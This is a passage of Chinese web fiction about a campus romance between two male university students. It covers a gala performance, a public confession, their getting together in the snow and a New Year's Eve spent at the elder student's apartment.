柏安最受不住别人求他帮忙:“我唱我唱,我能替你唱也没办法弹呀,吉他又不是两天能学会的,这个节目亮点不就是你自己拍摄剪辑的视频还有自弹自唱吗?”
“不弹也——咳咳咳……没事,有视频就够,放伴奏也可以,要不然——我,我问问有没有合适的人给你弹咳咳咳咳咳……”
他说问有没有合适的人,柏安脑子里的第一反应就是白仲钺。
“我问问看吧,”柏安答应说,“如果不行就放音乐伴奏,到时候着重强调是你自己做的视频就好了。”
“谢谢谢谢,咳,太——咳咳咳咳咳咳咳——”
“好了好了你别说话了,我听着都难受,你赶紧回去歇着吧,我问问人。”
白仲钺接到柏安电话的时候颇有点哭笑不得。
“柏安,虽然让你觉得全能是件高兴的事,但我确实不会弹吉他,不止吉他,我有很多不会不擅长的东西。”
柏安也不知道为什么自己以为白仲钺会弹吉他,明明白仲钺从没说过自己会:“不好意思啊学长,那个,要不然我再问问别人吧。”
“必须是吉他吗?”白仲钺在电话那边问,“钢琴行不行,我记得你们学院开晚会的南A厅有台电钢。”
“我也不清楚,只知道他一直是用吉他在练,一会儿我问一下。”
“好。”
“如果钢琴行的话,可以邀请学长帮我伴奏吗?”
“当然,”白仲钺轻轻的笑音穿过耳机,拂过耳道,“我的荣幸。”
挂断电话之后柏安好一会儿没动。
白仲钺最近很不一样,他清清楚楚感觉到了。
不仅感觉到了,还非常吃不消。
这样的白仲钺经常让柏安怀疑自己的心脏是不是有什么问题,不然为什么时不时就乱撞着想跳出来?
同学说没听过钢琴的伴奏,但是只要能行用喇叭他也没意见,柏安这边怎么合适怎么来。
从网上搜到简谱发给白仲钺,白仲钺说能弹,距离晚会一共就只有一个整天的时间了,晚会当天柏安还要帮忙布置参加彩排,白仲钺说:“没问题。”
柏安就放下心来。
其实问题大的方面不在白仲钺和柏安,在祁延韩一张皓程。
那首歌柏安会唱,白仲钺能弹,两个人练习几遍配合好只用了一上午的时间。
可祁延他们三个人因为白仲钺一句“情况有变”简直忙翻了天。
队里的人都得了内部消息,柏安院里晚会的时候球队一行人全到了给学弟“捧场”,柏安简直受宠若惊。
也因为白仲钺他们都来了,还有人传白仲钺会有首次表演,柏安学院开晚会的南A厅爆满,最后不得不专门找了两个学生在门口解释已经满人不能再进了。
“怎么了?”白仲钺低头问,不到二十分钟的时间柏安已经去了三次卫生间,“紧张还是不舒服?”
周围太喧哗,柏安为了让白仲钺听清楚贴到了他耳边说话:“好像吃坏肚子了。”
“要不要去校医院看看?别硬撑。”
“没关系,不难受,”柏安听到报幕,再有一个节目到他们,“就是会忽然想去厕所,等唱完再去校医院吧,这个节目用的视频他做了好久。”
柏安晃晃白仲钺的手臂示意自己没事:“学长,我告诉负责灯光的同学如果看见我打响指就把台上的灯灭掉,只留角落上你那边的灯,万一我中途坚持不住,就麻烦学长弹完,当做钢琴伴奏的视频欣赏节目,可以吗?”
“好,”白仲钺眉间不展,“不然我找个人来唱,张皓程唱歌不错,大部分流行歌都会,让他上去唱,你去校医院。”
台下人密密麻麻的,就算张皓程能临时上场也没办法迅速过来,时间已经来不及了:“这会儿没什么感觉,几分钟应该没问题。走吧学长,我们去候场。”
主持人报幕的时候从“白仲钺”三个字出来台下就没有安静过,柏安上场后又简单介绍了一次身后大屏幕上视频的制作者和背景,白仲钺的琴声起后就缓步走到了舞台侧边。
张皓程冲韩一笑得很欢快:“小学弟唱得倒是挺好听,就是把失恋唱得像怀春。那句词改成‘成都,我心爱的,只有你’比较合适。”
韩一无奈地看他一眼,自从白仲钺找两个人帮忙,摆明了张皓程又要赢之后,某人的嘚瑟劲儿就没停过。
一切就绪,两个人只
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等看热闹。
到歌曲末尾童声出现的时候台上灯忽然灭了大半,只留了白仲钺那里的一束光。
都以为是舞台效果,只有白仲钺手下不停,眉心微微皱起。
音乐和视频一齐结束,灯光亮起,“啪”一声响后,舞台上落下漫天彩带。
白仲钺在雷动的掌声和不歇的欢呼里拿下支架上的话筒走到舞台中央,在他站定后,最后一片金色飘带掠过他的肩膀落在脚边。
“白仲钺——”
白仲钺把话筒举到下颌,略一停顿,台下逐渐安静下来。
“这些飘带不是给我的,是我准备的,用来送给刚刚站在台上唱歌的人。”
“他叫柏安。”
刚刚安静下来的观众席重新嘈杂起来,白仲钺在一众议论惊疑中继续说:“我想占用大家两分钟时间,向一个男生表白,虽然因为突发状况,他刚刚离开舞台,不在现场。”
整个演出厅几乎要炸了。
“首先,”白仲钺停顿几秒,“很感谢我们学校宽容和谐的环境和大家开放平等的思想,让我今天可以站在这里,不必担心因为自己的喜欢和表白而引发不良后果。”
“不是在说漂亮话,真的很感谢,也很庆幸。”
台下逐渐又一次变得安静。
“其次,每个人都有自己的观点想法,一定会有人无法接受甚至厌恶同性恋情,这无可厚非,你尽可以保持自己的立场。但,倘若你的抵触情绪到了必须发泄不可、只有负面言语攻击才能平衡的地步,希望你能冲我来。”
郝昕给柏安打了几个电话发了几条消息都没回应后手忙脚乱点开了录像,她一定是第一个嗑自己cp和别人嗑到想哭的人。
柏安你这种关键时刻不在后悔一辈子啊啊啊啊啊啊啊!!!
“我知道礼堂的隔音有多好,他应该听不到,所以,有认识他的人愿意为我录一段视频吗?”
郝昕用了吃奶的力气喊:“在录了——”
可惜有不知道多少人声音比她大,她以为的震撼狮吼在一众呼喊里根本没激起半点水花。
白仲钺在台上笑了笑:“谢谢。”
“最后,是想说给你,柏安。”
瞬间沸反盈天,又在许多人不约而同的“嘘——”“安静”“听他说”“别喊”里平定下来。
白仲钺又念了一次名字:“柏安。”
“我喜欢你,因为缺乏这方面的经验,喜欢不自知,所以不知道喜欢了多久。”
“但可以确定的是,我喜欢你。”
“很幸运,可以遇见、喜欢你这样鲜亮美好、优秀特别的人,我想和你在一起,希望你可以考虑一下。”
“个人认为,我会是很好的男朋友。”
台下一片哄笑,祁延在起哄声里高喊:“自恋啊——”
白仲钺也笑了两秒,在声音小下去后说:“非常希望可以有一个自证的机会。”
“以上,白仲钺。”
“谢谢大家。”
21.第三次
大概因为“白仲钺”这个名字好用,他和柏安的节目被安排到了闭幕舞前面做压轴。
白仲钺下台,晚会最后一个节目登场,白仲钺没心思看表演,直接从侧门离开去了距离南A厅最近的卫生间。
避开出来的人,里边的隔间有两个有人,白仲钺喊了一声:“柏安?”
没人应。
白仲钺犹豫两秒,还是轻轻敲了敲隔间门。
“别催啊!刚蹲下!”
白仲钺立刻说:“抱歉。”
另一个隔间里的人笑了声:“白同学,这个不用敲,不是柏安。”
“不好意思。”
还有个稍远的卫生间,白仲钺找过去,还是没有。
难道路上错开了?
祁延和韩一、张皓程还有新加入的祝骁在白仲钺下台后立刻挤出去,两人一组占据演出厅的前后门。
晚会中间他们溜出来一次,把放在值岗大叔那里的两个大箱子拖到了门口。箱子里是经过特殊工艺制作的向日葵干花,肉眼看和鲜花色泽别无二致,但可以经得住长久的放置储存。每两朵向日葵和几支用作搭配的绿色干叶被包成单独小束,两大箱,一共五百二十束。
白仲钺只订了五百,另外的二十是祁延强烈要求加上的。
祁延一边给出来的同学送花一边感慨,说白仲钺这人浪漫吧,他对什么五二零什么红玫瑰什么寓意谐音根本不在意,说白仲钺这人不浪漫吧,对不起被他使唤着操心劳力的自己。
“一定要帮我转达白仲钺,我们都祝他们幸福久久啊!”
祁延一边忙活着送花一边答应:“一定一定,谢谢谢谢!”
“里边有卡片!天呐……”
“如果遇到柏安……”
【如果遇到柏安,可以帮我把花送给他吗?遇不到也没关系,送给你,祝元旦快乐。
——追求柏安的白仲钺】
“我的天……”
“柏安在哪儿啊?”
“有人见过柏安吗?我好想送花啊!”
“……”
很多很多人都在找柏安,包括白仲钺。
可没有人找到,包括白仲钺。
柏安的手机在上场前交给了后台的同学,白仲钺去后台只找到了手机,没找到人。能问的都问了,谁都没见过,谁都不知道。
往外走的人都散了之后,白仲钺去了厅口的值班室。
“人这么多,我哪里记得清有谁出去啊,你给我说身高衣服也没用,实在记不清。”
“白仲钺,你的围巾,落在后台了。”
“谢谢,”白仲钺接过围巾,问,“你们见到柏安了吗?”
“没有啊,我们还以为他和你在一起来着。”
白仲钺点点头:“知道了,谢谢。”
值班的人对白仲钺说:“不用急,在咱们学校里还能丢了这么大个人吗?联系不上就等会儿再看看,要不去他宿舍找找。”
白仲钺知道可能性小,还是拿出了手机,他手机里有一张在新生代表宣传栏里拍下的柏安的照片。
“麻烦帮忙看一下,会有印象吗?”
“哎——这个同学,我还真记得,那会儿没太有人的时候他扶着一个同学过来,让我帮忙给校医院打电话,说他同学肚子疼得厉害。”
白仲钺连声道谢,出门就大步往校医院跑,但,也没有。
“有个说肚子疼的同学来过,怀疑是阑尾炎,一起来的同学肚子也不舒服,跟着车都去医院了。”
白仲钺问了哪家医院,向校外去时手机响了,是个陌生号。
“柏安?”
“……学长,你怎么知道是我?”
白仲钺停下步子,就近在路边的排椅坐下,手肘抵着膝,掌心撑额,上身低伏长长舒了口气。
“没事吧?”
“没事没事,我没事,就是去卫生间刚好遇见一个同学肚子疼得厉害,送到校医院的时候那个同学疼得说不出话,我说了一下情况,帮忙的时候七手八脚就被弄上校医的车一起送到医院来了,我一会儿就回去,学长你别担心。”
“嗯,”白仲钺声音掺了几分哑,“你怎么样,还不舒服吗?”
“没有了,”柏安有点不好意思,“一着急,不知道怎么就好了。”
“那就好。”
“学长,我借的护士的手机,要还回去了,你别担心,我回宿舍给你发消息。”
白仲钺直起身后仰,靠着椅背,他才注意,竟然下雪了。
今年冬天的第一场雪。
“身上带现金了吗?”
“啊……”
“打个车到北门,我在门口接你。”
柏安把手机还回去道了谢就赶紧往外走,他不想让白仲钺等久。
到校医院的时候落下来的雪还很细很少,这会儿已经变成了大片,在空中飘飘扬扬,地上已经蒙了一层薄薄的白色。
越是着急越是打不到车,不知道是不是因为下雪了,接连几辆车都是载客状态。柏安远远看不见出租车就走一段换个路口,感觉已经走到全程的三分之一才终于打到车。
“师傅,去A大北门。”
柏安有些坐不住。
他有很多次非常想见白仲钺,每次提前知道要见白仲钺的时候都格外兴奋,但从没有一次像现在这样,想见他想到心都有点慌。
他迫切甚至焦急地想见到白仲钺,能早一分就早一分,能快一秒就快一秒。
也许因为怕对方担心,也许因为不能像平时那样联系到彼此,也许因为白仲钺正在雪里等自己。
又也许,没有什么原因。
他只是想快一点见到喜欢的人而已。
想快一点。
再快一点。
再快一点。
雪飘到车窗上,转瞬化成透明,柏安透过正化的雪看到立在路边的白仲钺,心里陡然涌起饱胀的热意。
他热切喜欢的、想要见到的人,在这里等他。
太好了。
白仲钺付过钱转身时,柏安还在看他。
“怎么了?”
柏安眨眨泛酸的眼睛,踮起脚伸手拂去白仲钺
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头顶的白:“落上雪了。”
“没事。”
白仲钺把一直拿在手里的围巾取开一圈圈绕到柏安脖子里,不顾柏安反抗的手,径自绕到最后还打了个结。
“唔——”柏安被白仲钺绕得散了情绪,“要闷死了!”
白仲钺这条围巾格外长,绕完之后柏安直接被捂住了大半张脸。
柏安费力地把围巾向下扒到下颌,还注意着没把白仲钺打得结弄散:“你不……啊!”
没征兆的,白仲钺抬手在柏安额头弹了一下。
柏安松开扒围巾的手按住额头,瞪圆了眼睛。刚想问白仲钺干嘛弹他,忽然就听见抱怨似的低低一句:“小坏蛋。”
围巾又重新遮住柏安的大半张脸,也遮了柏安脸上的红和热。
柏安声音被围巾捂得有点含糊:“让学长担心了……”
“嗯。”
“我错了。”
“嗯。”
两个人就站在那里,白仲钺没有往学校里走,柏安也没动,他看着白仲钺没什么表情的样子,想到那低低的一句,略微歪歪头。
白仲钺,是在等自己哄他吗?
不知道为什么,这个想法一冒头柏安就忍不住笑起来,嘴巴被围巾挡住了,只一双弯弯的眼睛露出来。
“我——”
“我——”
白仲钺看着柏安:“你先说。”
柏安原本打算到元旦当晚跨年的时候向白仲钺告白的。
还差三天。
可忽然就不想等了。
为什么一定要挑特别的日子呢?
不管是哪一天,都无所谓吧。
因为无论是多普通的一天,都会因此变得不同。
柏安仰头看着白仲钺,觉得不行,于是扯着白仲钺的胳膊向一边走了几步,自己站到了台阶上。
现在可以了。
柏安弯着单单露出来的一双眼睛,平视白仲钺,不给自己铺垫,直奔主题朗声宣布:“白仲钺,我要追你!”
白仲钺安静了几秒,柏安的呼吸就停了几秒。
人是安静的,雪是安静的,世界都是安静的。
在柏安的屏息凝神里,白仲钺忽然笑了:“后悔让你先说了。”
“什、什么?”
“柏安,你今晚错过了我两次表白。”
“什么?”
白仲钺的每一个字柏安都听得懂,可连起来,就变成了柏安听不懂的话。
是……什么意思?
“现在,我准备表白第三次,你想听吗?”
柏安的大脑濒临停转,语言能力也要丧失了:“什……么……”
原本的计划,柏安会抱着满怀收到的向日葵,他会张开手臂,轻轻抱住柏安,在他耳边再说一次喜欢。
柏安没有收到满怀的向日葵,好在,计划的后半段仍旧可以圆满。
第三次表白,没有彩带,没有向日葵,只有一句无比认真的话。
白仲钺看着柏安的眼睛,一字一句说得清晰又坚定:“我很喜欢你,柏安。”
22.在一起
“喂!那两个同学!是不是A大的?关门了!”
柏安急急忙忙从白仲钺怀里挣脱开:“来了——”
这应该是最仓促的拥抱,白仲钺感受着身前和手臂间的空落想,刚刚触及可以被称作“拥抱”的范畴,就结束了。
悬空下落的手臂被一把抓住,紧接着是向前的力道和掺着笑声的话:“快点儿白仲钺!”
白仲钺被柏安拉着向学校里跑,在路过门岗的时候明显感觉到速度加快了。
他能轻松赶上或者超过柏安,也能拉住已经进了学校还没停下的大步跑,但白仲钺只跟在后面,任柏安拉着自己继续往前。
十二月二十八日晚十点三十分,互相坦白了喜欢的柏安和白仲钺,从校门外跑进了校园里。
拉着手,一起。
每一秒都被放慢延长,地变成了软的,风变成了暖的,雪化在唇边都是甜的。
他们从校门口跑过四季常青的长花坛,跑过只余零星光亮的教学楼,跑过闭门的图书馆,跑过落光叶子的银杏林。
他们跑过寂静,也跑过人群。
抓着的位置从小臂滑到手腕,不知道在什么时候,又向下一点,抓住了对方的手。
到往宿舍楼拐的路边柏安终于拉着白仲钺停下,用空着的手把围巾拉到下巴底压着大口喘气,白色雾气随着呼吸出现又在须臾间散开,消没在飘雪的夜色里。
“学长……”
白仲钺拉着柏安的手紧了点力气,往暗处退一步把人拉得离自己更近,最后牢牢扣进怀里。
“嗯……要门禁了……”柏安小声说着,手指划过白仲钺的衣角。
“一分钟。”
柏安分不清像杂乱鼓点一样的心跳是谁的。
太近了。
太近太近了。
“刚刚没来得及,”白仲钺的唇只差一点就贴到柏安的耳廓,“还想多说一次,我很喜欢你,特别喜欢。”
“我也很喜欢。”柏安抓住白仲钺的羽绒服,在紧密的心跳里忽然侧头亲了白仲钺下颌:“特别喜欢。”
白仲钺看向柏安的眼神有种说不明的意味,被夜晚的墨色衬得更沉,像隐在水下深处的漩涡暗流,内里叫嚣涌动,面上波澜不兴。
亲的时候没过脑,下一秒柏安从头到脚都蒙了,紧张得没办法动弹,心横冲直撞似的跳,生怕白仲钺给他一句调侃或者也回过来一个吻。
他绝对会原地爆炸消失的。
柏安捏着手指屏着呼吸看白仲钺的反应,见他没因为自己这个一时冲动的吻有什么异常才终于松下气,笑得露出一排整齐瓷白的牙,两颗尖牙在下唇印出两个浅浅的小窝。
他张嘴说话的时候,那两个小窝回归平整,唇齿开合,偶尔可以看见粉润的舌尖。
“学长,你刚刚说错过两次表白是什么意思?”
白仲钺转头看路面的砖纹,空咽一下:“没时间了。”
“什么?”
白仲钺在他头上揉了一把,拿出柏安的手机递过来:“门禁了,回去说。”
-
12月28日晚,白仲钺和柏安互相告白。
12月28日晚,在校门口,白仲钺和柏安第一次拥抱,时长不明,很短。
12月28日晚,白仲钺和柏安跑进学校,牵手。
12月28日晚,在宿舍楼边,白仲钺和柏安第二次拥抱,时长约一分钟。
12月28日22:42,柏安回到宿舍,桌子上堆放了几十束向日葵干花。
12月28日22:43,柏安打开因为消息来电过多卡顿的手机。
12月28日22:47,柏安钻进被子带上耳机重新播放白仲钺表白的视频。
12月28日22:51,柏安确定自己不会因为心跳过速晕倒后第三次播放视频。
12月28日22:52,白仲钺发表动态——【他答应了】
12月28日22:53,柏安发表动态——【[龇牙笑表情]】
12月28日22:55,翻了天一样热闹的群里,祁延吐槽柏安的动态憨憨二二,柏安考虑删除重发。
12月28日22:55,白仲钺转发柏安动态——【[龇牙笑表情]/转发:[龇牙笑表情]】
12月28日22:56,柏安接到白仲钺电话。
12月28日23:17,白仲钺和柏安小声互道晚安,挂断几乎没有对话的电话。
12月28日00:09,柏安收到白仲钺消息。【睡了吗】
12月29日01:00,白仲钺和柏安第二次互发晚安,结束聊天。
12月29日02:06,柏安播放视频,次数不明。
12月29日03:25,柏安播放视频,次数不明。
12月29日07:00,白仲钺发消息给柏安。【醒了吗】
12月29日07:20,白仲钺打电话叫醒柏安。
12月29日上午课上,柏安被提问,回答完毕后老师笑说:“不错,人逢喜事神游天外也没耽误听课。”
12月29日上午课后,柏安脸热未消,再次收到部分前一晚的花。
12月29日中午,白仲钺和抱着大束向日葵的柏安一起吃午饭。
12月31日晚,柏安家教结束,坐车回学校,在站牌看见正等自己的白仲钺。
这两天好像是飘着过的,不知道怎么,就过完了。
他真的,真的真的,和白仲钺在一起了?
是,真的,真的真的真的,在一起了。
“今晚还有事吗?”
柏安摇头:“没有了。”<
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“明天元旦,还兼职吗?”
“下午过去,晚上就不去了。”
“三天假期都要去?”
“对,都是下午。”
柏安说完才意识到,自己已经恋爱了,该留出时间给白仲钺。两个人刚在一起,白仲钺没回家,没有和朋友出去玩,可自己连一个整天都没空出来。
“对不起啊学长,我应该提前和你商量的。假期你有什么想法吗?要不然我和家教那边的家长请假。”
“不用,”白仲钺手抬起来发现柏安的手在口袋里,只好顺势在柏安后背扶了一下,“不用对不起,也不用提前商量,你像之前一样分配自己的时间就可以,我只是想知道你每天的安排是什么。”
“但是我们在一起了,应该有更多的时间在一起才对,我课多,平时每天晚上还要兼职,这两天都是你一直在迁就我的时间,不能一直让你这样迁就我。”
白仲钺放慢步子,看着柏安笑了。
柏安转头看他:“怎么了?”
“我时间比你松,所以跟着你的时间来,不算迁就。我不觉得是迁就。”
柏安心里一热,垂下眼“嗯”了声,看着白仲钺的鞋面问:“你刚刚笑什么?”
“刚刚,”白仲钺顿了顿,等柏安抬起头看他,“我笑你,终于回神了。”
刚在一起那晚,柏安主动亲他,白仲钺除了当时那瞬间的一点意想不到,其余全是高兴和忍不住的各种想法。
他以为从第二天开始,和柏安就能像韩一张皓程一样牵牵手散散步约约会,到没人的时候就抱一抱亲一亲,没想到第二天见面柏安就像被戳了头的蜗牛一样,连视线对上都要不自然地躲开。
遑论什么牵手拥抱,更不可能亲吻。
直到现在,白仲钺第一次听他正面说到两个人在一起。
“我还以为是不是把你吓到了,”白仲钺说,“以为忽然公开表白让你不喜欢,其他人的目光议论让你不舒服了。”
“没有,”柏安立刻说,“喜欢的,别人怎么样我不在意,而且大部分都是好的。就是觉得很不真实,就像,我本来以为要先打怪找藏宝图然后努力一关一关过去才有可能找到宝的,结果我刚到山脚下,宝就出现在我面前了。”
柏安说完又补充道:“还自己开锁打开了箱子。”
“哦——”白仲钺偏离重点,迈步到柏安前面倒退着走,“我是宝?”
柏安没跟上白仲钺的想法,很认真地说:“用宝藏作比喻的话,你是整个版图上最值钱的一箱。”
白仲钺不怎么在意值不值钱的问题:“我觉得我才是捡到宝了。”
柏安耳梢有点热:“我不是……”
“是。”
“宝,”白仲钺笑了笑,第二个轻声的字临出口才觉得有点臊,“宝。”
23.礼物
柏安每晚八点兼职结束,回学校差不多八点半,白仲钺在站牌接到他一起慢悠悠走回楼下的时候距离九点还有一大截。
虽然冷,虽然冬天的不到九点已经不早,虽然虽然,很多虽然,但是柏安不想这么早上去。
“现在就回宿舍吗?”
白仲钺说:“我在这儿等,你上去把东西放下,简单收拾收拾,我们出去一起跨年。”
“今晚,”柏安眨眨眼,“不回来了吗?”
“嗯,假期了,不查寝,”白仲钺原本理所当然觉得可以,看柏安有点迟疑的样子又不确定了,“你想吗?不想的话……”
“想,”柏安避开白仲钺的眼睛,忽然有点说不利索话,“外边冷,那个,你去宿舍大厅等吧,我……要带什么吗?”
“充电器之类,洗漱用品不用带,明天可能起不早,不然把兼职要用的东西带上,下午直接送你去兼职那里。我就在这儿等会儿,没事,不冷。”
“那我很快下来。”
“不着急。”
柏安一股脑跑了三层才慢下速度,感觉自己的脸烧透了。
要一起出去过夜了?
这么快……
白仲钺不一起上来应该是不想让两个人话题度再高了。
洗漱用品不用带,晚上不回来,应该是去酒店吧……
还说……
明天可能起不早……
酒店应该……需要的东西都有吧……
早知道这么快,应该上网搜一搜经验帖的……
白仲钺为什么这么坦然啊……
会疼吧……
万一明天去不了家教那里临时请假要用什么理由啊……
跨年,这算是……新年礼物吗?
柏安越想脸越热,整个从里到外都热透了。
“柏安!你干嘛去啊!”
“啊?啊!我走过头了。”
袁韬提着暖瓶从头到脚把柏安打量了一遍:“你一个有对象的回来干什么?我还想今天晚上能独霸宿舍呢。”
柏安笑得有点尴尬:“我一会儿就走。”
袁韬翻了个白眼。
洗漱用品不用带,充电器充电宝带上,带包纸巾,水杯,家教用的东西不往外拿了,准备好的礼物带上,还要带什么?
内裤……
要带吗?
要带吧……
印卡通图案的不好,找条纯色的……
“这就全垒了?”
“啊!”
柏安一哆嗦,手里的内裤直接掉在了脚边。柏安手忙脚乱把内裤捡起来塞进书包最底下,站起来的时候冷不防被柜门撞了头。
袁韬看着捂着头泪眼汪汪的柏安,鄙视直接挂在脸上:“你至于吗?我不就是说一句。”
“我没想到你在后面。”
“我喊了你一声是你没听见好吗?”
柏安不说话了。
他本来就格外怕疼,刚刚撞得太狠,这会儿还没缓过来。
“哎。”
柏安看袁韬:“怎么了?”
“我告诉你,别觉得男的怀不了孕就无所谓,到手有三天吗就往床上带,能是什么好人物?”
柏安听不了别人说白仲钺的不是:“你别这么说话。”
“嘁,当我乐意说,看你那副好骗的样吧,白仲钺随便使点手段你就稀里哗啦到半夜,我以前追的姑娘里都没一个是你这么好哄的。再说了,他那一套套把戏从多少人身上练出来的你有数?到时候让人上够了甩了别回来哭。”
柏安上楼的热被一盆接一盆的冷水浇透了,袁韬的话他不信,但也不影响他心情变差。
“我知道你说话难听,但本意是为我好。”
袁韬“切”了一声。
“不是我好哄,是我喜欢他,就算他不表白我也要追他。以前的事我不清楚,以后的事我也不知道,但是现在我和白仲钺在一起了,我就信他,就算真的是坏结果,我自己选的自己担着。”
柏安没再想要带什么,把书包挂在肩上:“谢谢你为我想,可说他不好的话我听不下去,以后别说了。新年快乐。”
过去的时候白仲钺正在发消息,柏安站到旁边没出声,白仲钺看见他过来,说:“等我下,回个消息。”
“好。”
白仲钺没避着柏安,柏安就看着他和另一个学长发消息,好像是在说节后某一门课结课的事。两个人没多聊,简单几句说清楚就结束了。
“为什么你的输入法点一个h就会弹出ok的手势表情来?”
“训练出来的。”
“啊?”
柏安惊讶地太认真,白仲钺不自觉就带了笑:“输入‘好的’候选栏会弹出手势表情,输入‘好的’的拼音之后不选词组,选手势表情,次数多了之后输第一个拼音就会弹出来了。”
“啊,这样,之前没太注意过。”
“心情不好?”
柏安愣了一下:“嗯?”
他有注意不要表现出来了,白仲钺是怎么发现的?
“上楼发生什么了?”
柏安瘪了嘴巴,撩起前额的刘海给白仲钺看:“蹲下捡东西,起来的时候不小心撞到柜子门,我一疼就控制不住出眼泪,本来就疼,室友还在一边幸灾乐祸笑话我。”
白仲钺紧起眉捧着柏安的脸转了点方向,让柏安的额头正对路灯:“鼓起来了。”
“没事,已经不疼了。”
呼——
丝丝缕缕酥酥麻麻的轻微的凉,柏安大脑瞬间宕机。
还嫌只宕机不够似的,白仲钺轻轻吹几次后,居然贴上去,吻了一下?!
“不疼了,”白仲钺在柏安后脑上下摩挲,“出去买点药膏。”
“不用……不用了,其实撞得不严重。”
“用,”白仲钺拉了柏安一只手,交扣着放进自己口袋,“我说用就用,走了。”
白仲钺的手很大,很暖,很舒服。
柏安在白仲钺手里动了动,白仲钺松开一点,探进一根手指去挠柏安的手心。
“痒——”柏安笑起来,把手攥紧不给白仲钺继续的机会,白仲钺没再挠他,柏安也没松开单单攥住的食指。
到了之后才发现白仲钺不是带他去酒店,是私人的住处。
“是你家的房子吗?”
“准确说是我的。”
柏安睁大了眼睛:“你的?”
“对,我赚给自己的第二份礼物,第一份是辆摩托车。不过追本溯源,本金也是从我爸妈那里来的。”
柏安嘴巴微微张着,好一会儿都没合拢:“学长,你好厉害啊。”
白仲钺笑起来,忽然俯身,下颌靠在柏安肩上把人抱住了:“怎么办啊,感觉自己就像个炫耀玩具的小孩一样。我故意的,想告诉你我觉得骄傲的事,想让你觉得我厉害,想听你夸我。”
柏安抬手搭在白仲钺的后背:“白仲钺,你真的真的很厉害,是我全部认知里最优秀、最厉害的人。”
“比我厉害的人有很多很多,但是他们都没被你夸过,”白仲钺笑着说话,声音和热气一起绕
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在柏安耳侧,“你每次用那种亮亮的眼神看我的时候,我都觉得自己好像是全世界最厉害的人一样。”
“在我这里,你就是全世界最厉害的人。”
“柏安……”白仲钺拥着柏安换了方向,把人抵在进门旁的柜子上,“我想吻你。”
柏安整个人都懵了,先是空白,接着是不知道怎么回应。
白仲钺好像也不需要他回应。
刚刚的话不是询问。
是告知。
“嗯……”
白仲钺在柏安嘴唇上吻了吻,然后撤开。
他在征求柏安的同意。
是到这里,还是可以继续。
柏安睫毛有点颤,他垂着眼,看着白仲钺的唇,缓缓贴近。
白仲钺没等柏安吻过来,在他向自己靠近的下一秒就又一次吻上去,这次,他碰到了觊觎已久的舌尖。
以前白仲钺从没发现,自己内里还住着个坏胚,流氓又色气。
甜的。
很软。
直到薄荷气味的药膏打着圈抹在额头,柏安的大脑才重新运转。
白仲钺等柏安缓过神,拉着柏安往里走:“这边是客厅和岛台厨房,不过厨房很少用,那边是客卧和卫生间,这两间改成了影音室和健身的房间,这是主卧和书房。主卧只有我住过,今晚在这儿睡?”
柏安方才消退的热又起来,飘着目光点点头:“好的……”
“这个房子是两年前买的,我爸妈来过一次,祁延来的次数多点,姜宗川和赵煜来过一次,没有别人了。”
“新年快乐,想把这里分享给你,”白仲钺摊开手,掌心是一把钥匙,“以后这里也是你的地方,有钥匙的只有我们两个。”
柏安微微一怔,然后拿过钥匙,认真说:“我会好好保管的。”
“嗯。”白仲钺低头在柏安唇上亲了下,上瘾一样,忍不住想再亲一次。
柏安在白仲钺想继续的时候伸手抵住了他的胸膛,白仲钺撤开距离:“嗯?”
“我……”柏安喉结滚了两下,“我也有礼物送给你,虽然不能和你的比。”
是一个边长大概二十厘米的黑色正方体盒子,打开盖后盒子的四边有一面可以向外摊平。盒子里是一个球场,有立着的篮球架,有在打球的人,手里正拿着球的小人穿着一号深蓝球服,正准备起跳投球。摊平的一面正对的那面上有个小屏幕,柏安在屏幕侧边按了一下,屏幕竟然开始播放白仲钺运球和进球、欢呼剪在一起的视频。
白仲钺仔仔细细看了好久才舍得挪开视线:“其他都是塑料小人,中间这个小人是木头的,是你做的?”
“对,塑料的是买的,我做的没有成品细致,用了室友的颜料上色,但是太小了,边角颜料没弄好。”
“这是我收过的最好的礼物,真的,”白仲钺指尖轻轻在木头小人头顶摸了摸,“是不是做了特别长时间?”
“嗯,很早就做了,最开始只是想做一个出来,后来就想,做好用来表白。”
柏安笑起来:“你知道吗,我本来打算今年的新年愿望要许‘希望可以和白仲钺在一起’来着,许完愿就找你表白。”
白仲钺也笑了,小心把盒子盖好:“那现在呢,要许什么愿?”
“嗯……加几个字好了。”
“加什么?”
“说出来就不灵了。”
“那你悄悄许,”白仲钺说,“我们一起许。”
希望,可以和白仲钺一直一直在一起。
希望,柏安愿望成真。
24.新年
晚上快十一点的时候,白仲钺和柏安一起出了门。
街上很热闹,两边店铺的灯连成一片,到处都有说话声和笑闹声。
柏安从白仲钺说要出门就没问过要去哪里,白仲钺叫了车他就跟着坐,白仲钺下车他就跟着慢慢走,到后来白仲钺都忍不住好奇了:“也不问问要去哪儿,不怕我把你卖了?”
“卖吧,”柏安笑着踩在路面彩色灯光映出的花样上,“知道就不是惊喜了,我才不问。”
“不算什么惊喜。”
柏安抬头看白仲钺,说:“什么都是惊喜。”
在外面,两个人默契地没有肢体接触,可白仲钺没忍住,揉了一把柏安的头发。
他好像经常忍不住,在没有途径表达自己心里软成一团的感觉的时候,在不知道怎么应对收拢不住的喜欢的时候,就在柏安头上揉一把。
聊以自/慰。
“下午吃得早,饿不饿?”
“不饿的。”
白仲钺给柏安让出位置,示意他坐到卡座里边去:“那先吃点零食,跨年之后再吃宵夜?”
“好,”柏安坐进去对白仲钺说,“你如果饿的话可以现在吃,我不饿但是也能吃一点。”
“我不饿,怕你饿。”
有人拿着菜单过来,白仲钺没考虑,伸手指了一个,然后抽出下边一张卡单给柏安:“想喝什么?”
单子上可以选的太多,分了几大类,柏安看得眼花缭乱,低声求援:“学长有什么推荐吗?热的,不要太甜或者太苦就可以。”
白仲钺向柏安那侧倾身:“这一栏里杏仁玉露做得不错,果茶都合你的标准,咖啡类里森林摩卡和焦糖拿铁应该可以。”
柏安高三的时候因为周围很多同学喝咖啡提神,买过小袋的速溶,但拧着眉头只喝进两口,之后就再没喝过。他有点好奇白仲钺推荐的咖啡会不会好喝,又担心自己喝不下去浪费,视线左右游移几秒还是决定保守一点选听起来就不会难喝的杏仁玉露。
“一杯杏仁玉露,一杯森林摩卡,谢谢。”
白仲钺刚点完单,就有服务生送了吃的过来,鎏金细条弯曲成流畅好看的形状,分作左右两侧高低不同的三层,六个暗金背底的浅阔口细白瓷盘被稳稳托举,摆放了六种品式不同但看起来都格外精致的糕点。
